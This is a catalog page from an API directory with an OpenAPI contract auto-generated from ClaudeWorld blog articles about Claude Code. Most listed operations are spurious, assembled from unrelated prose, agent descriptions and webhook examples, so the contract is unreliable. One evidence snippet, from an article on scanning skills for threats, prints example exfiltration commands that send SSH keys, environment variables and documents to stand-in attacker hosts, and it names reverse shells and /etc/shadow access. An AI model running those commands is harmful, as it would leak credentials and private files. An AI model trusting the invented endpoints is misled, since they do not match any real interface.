ClaudeWorld API

ClaudeWorld API as documented publicly: 11 operations. Contract generated from the documentation by API Evangelist (2026-11-04); not the provider's own document.

Operations 11

GET / GET / #
POST / POST / #
POST /blog POST /blog #
GET /docs/en/changelog GET /docs/en/changelog #
GET /install.sh GET /install.sh #
GET /users API design expert - RESTful design, OpenAPI specifications. #
POST /users API design expert - RESTful design, OpenAPI specifications. #
DELETE /users/1 API design expert - RESTful design, OpenAPI specifications. #
PATCH /users/1 API design expert - RESTful design, OpenAPI specifications. #
PUT /users/1 API design expert - RESTful design, OpenAPI specifications. #
POST /v1/messages POST /v1/messages #

Work with this as data

Every API here is available over the APIs.io API and to AI agents over MCP.

MCP server

One button, every client — Claude, Cursor, VS Code and the rest.

https://apis.io/mcp

Tools for apis

7 MCP tools reach this
  • find_apisBrowse and filter every API in the catalog.
  • get_api_artifactsOne API's artifacts, grouped by type.
  • get_openapiThe primary OpenAPI for this API.
  • find_similar_apisAPIs that look like this one.
  • apis_io_searchSTART HERE — APIs, providers and tags for one query, each with its total.
  • resolveTurn a domain, URL or GitHub org into the provider it belongs to.
  • find_cohortsEvery scored population of providers in the catalog.
All 92 tools →

Call it yourself

curl for this page
This API
curl "https://apis.io/api/v1/apis/claude-world-com:claude-world-com-api"
All apis
curl "https://apis.io/api/v1/apis?limit=25"

Calls without X-API-Key need no key. Calls with it need a paid plan — get a key.

Get an API key

Free tier, no form to fill in. Signing in shares your email address with us — we store it to create your key and to recognise you if you sign in with another provider. See our Privacy Policy and Terms.

A second provider on the same verified email joins the account you already have.

OpenAPI Specification

claude-world-com-openapi-generated.yml Raw ↑
openapi: 3.1.0
info:
  title: ClaudeWorld API
  version: '2026-11-04'
  description: 'GENERATED FROM DOCUMENTATION by API Evangelist on 2026-11-04: 11 operation(s) read from 10 public documentation page(s) (each
    operation names its page in x-source). This is not the provider''s published contract; ClaudeWorld has published no machine-readable contract
    that the pipeline could find. Engine: local.'
  x-evidence-tiers:
    code-example: 6
    documentation: 5
    pages-with-code: 9
    pages-read: 10
  x-generated-from: documentation
  x-provenance: generated
  x-authored-by: API Evangelist
  x-generated: '2026-11-04'
  x-generator: generate-contract-from-docs.py
  x-engine: local
  x-sources:
  - https://claude-world.com/articles/opus-4-6-1m-context-window-default
  - https://claude-world.com/articles/claude-code-auto-memory-loop
  - https://claude-world.com/articles/anthropic-official-skills-complete-guide
  - https://claude-world.com/articles/claude-code-complete-guide-2026
  - https://claude-world.com/articles/claude-complete-beginners-guide-2026
  - https://claude-world.com/articles/claude-code-token-warning-zai-alternative
  - https://claude-world.com/articles/claude-code-essential-agents
  - https://claude-world.com/articles/claude-code-complete-guide
  - https://claude-world.com/articles/claude-skill-antivirus
  - https://claude-world.com/articles/github-actions-suite
paths:
  /:
    get:
      operationId: get
      tags:
      - Api
      summary: GET /
      x-source: https://claude-world.com/articles/anthropic-official-skills-complete-guide
      responses:
        '200':
          description: Success (status as documented)
      x-evidence:
        kind: code-example
        language: curl
        snippet: curl — every one supports the beta Tool Runner and Managed Agents\n\n**Decision tree:** Single call -> Workflow (tool use) ->
          Agent (open-ended exploration).\n\n### MCP Builder\n\nCreate high-quality MCP (Model Context Protocol) servers.\n\n**Four phases:**\n1.
          **Deep Research** — API docs and integration patterns\n2. **Implementation** — TypeScript recommended, Python alternative\n3. **Review/Tes
    post:
      operationId: post
      tags:
      - Api
      summary: POST /
      x-source: https://claude-world.com/articles/claude-skill-antivirus
      responses:
        '201':
          description: Success (status as documented)
      x-evidence:
        kind: code-example
        language: curl
        snippet: "curl High /etc/shadow access, reverse shells Medium rm -rf , permission changes \n 2. Data Exfiltration Scanner \n Detects read-local-send-remote\
          \ patterns: \n cat ~/.ssh/id_rsa | base64 | curl -d @- https://evil.com \n env | curl -X POST https://collector.io \n tar czf - ~/Documents\
          \ | nc attacker.com 8080 \n 3. Permission Scanner \n Analyzes allowed-tools declarations: \n Critical : Bash(*) - unrestricted"
  /blog:
    post:
      operationId: post_blog
      tags:
      - Blog
      summary: POST /blog
      x-source: https://claude-world.com/articles/github-actions-suite
      responses:
        '201':
          description: Success (shape read from the example response on the page)
          content:
            application/json:
              schema:
                $ref: '#/components/schemas/PostBlogResponse'
      x-evidence:
        kind: code-example
        language: curl
        snippet: "curl -X POST \"$DISCORD_WEBHOOK_URL\"  -H \"Content-Type: application/json\"  -d \"{ \n \\\"embeds\\\": [{ \n \\\"title\\\"\
          : \\\"New Release: $VERSION\\\", \n \\\"description\\\": \\\"$SUMMARY\\\", \n \\\"url\\\": \\\"$RELEASE_URL\\\", \n \\\"color\\\": 5763719,\
          \ \n \\\"fields\\\": [ \n {\\\"name\\\": \\\"What's New\\\", \\\"value\\\": \\\"$FEATURES\\\"} \n ], \n \\\"timestamp\\\": \\\"$(date\
          \ -u +%Y-%m-%dT%H:%M:%SZ)\\\" \n }] \n }\" \n Why This Matters \n Never miss a release"
  /docs/en/changelog:
    get:
      operationId: get_docs_en_changelog
      tags:
      - Docs
      summary: GET /docs/en/changelog
      x-source: https://claude-world.com/articles/claude-code-auto-memory-loop
      responses:
        '200':
          description: Success (status as documented)
      x-evidence:
        kind: code-example
        language: curl
        snippet: 'curl the /health endpoint on localhost:3000 and report if the response code is not 200\n```\n\n**Watching for file changes.**
          Track changes in a directory while collaborating:\n\n```bash\n/loop 10m check git status and summarize any new or modified files since
          last check\n```\n\n**CI/CD status polling.** Watch a GitHub Actions run to completion:\n\n```bash\n/loop 5m check the status of the
          latest '
  /install.sh:
    get:
      operationId: get_install_sh
      tags:
      - Install
      summary: GET /install.sh
      x-source: https://claude-world.com/articles/claude-code-complete-guide-2026
      responses:
        '200':
          description: Success (status as documented)
      x-evidence:
        kind: code-example
        language: curl
        snippet: 'curl -fsSL https://claude.ai/install.sh | bash '
  /users:
    get:
      operationId: get_users
      tags:
      - Users
      summary: API design expert - RESTful design, OpenAPI specifications.
      x-source: https://claude-world.com/articles/claude-code-essential-agents
      responses:
        '200':
          description: Success (status as documented)
      x-evidence:
        kind: documentation
    post:
      operationId: post_users
      tags:
      - Users
      summary: API design expert - RESTful design, OpenAPI specifications.
      x-source: https://claude-world.com/articles/claude-code-essential-agents
      responses:
        '201':
          description: Success (status as documented)
      x-evidence:
        kind: documentation
  /users/1:
    delete:
      operationId: delete_users_1
      tags:
      - Users
      summary: API design expert - RESTful design, OpenAPI specifications.
      x-source: https://claude-world.com/articles/claude-code-essential-agents
      responses:
        '200':
          description: Success (status as documented)
      x-evidence:
        kind: documentation
    patch:
      operationId: patch_users_1
      tags:
      - Users
      summary: API design expert - RESTful design, OpenAPI specifications.
      x-source: https://claude-world.com/articles/claude-code-essential-agents
      responses:
        '200':
          description: Success (status as documented)
      x-evidence:
        kind: documentation
    put:
      operationId: put_users_1
      tags:
      - Users
      summary: API design expert - RESTful design, OpenAPI specifications.
      x-source: https://claude-world.com/articles/claude-code-essential-agents
      responses:
        '200':
          description: Success (status as documented)
      x-evidence:
        kind: documentation
  /v1/messages:
    post:
      operationId: post_v1_messages
      tags:
      - Messages
      summary: POST /v1/messages
      x-source: https://claude-world.com/articles/opus-4-6-1m-context-window-default
      requestBody:
        required: true
        content:
          application/json:
            schema:
              $ref: '#/components/schemas/PostV1MessagesRequest'
      responses:
        '201':
          description: Success (status as documented)
      x-evidence:
        kind: code-example
        language: curl
        snippet: "curl https://api.anthropic.com/v1/messages  -H \"x-api-key: $ANTHROPIC_API_KEY \"  -H \"content-type: application/json\"  -H\
          \ \"anthropic-version: 2023-06-01\"  -d '{ \n \"model\": \"claude-opus-4-6\", \n \"max_tokens\": 4096, \n \"messages\": [{\"role\":\
          \ \"user\", \"content\": \"Hello\"}] \n }' \n No beta headers. No extended context flags. Just use it. \n For complete pricing details,\
          \ see the official pricing page . For mod"
components:
  schemas:
    PostBlogResponse:
      type: object
      properties:
        x:
          type: string
        threads:
          type: string
    PostV1MessagesRequest:
      type: object
      properties:
        model:
          type: string
        max_tokens:
          type: integer
        messages:
          type: array
          items:
            type: object
            properties:
              role:
                type: string
              content:
                type: string
  securitySchemes:
    apiKey:
      type: apiKey
      in: header
      name: x-api-key
security:
- apiKey: []
tags:
- name: Api
- name: Blog
- name: Docs
- name: Install
- name: Messages
- name: Users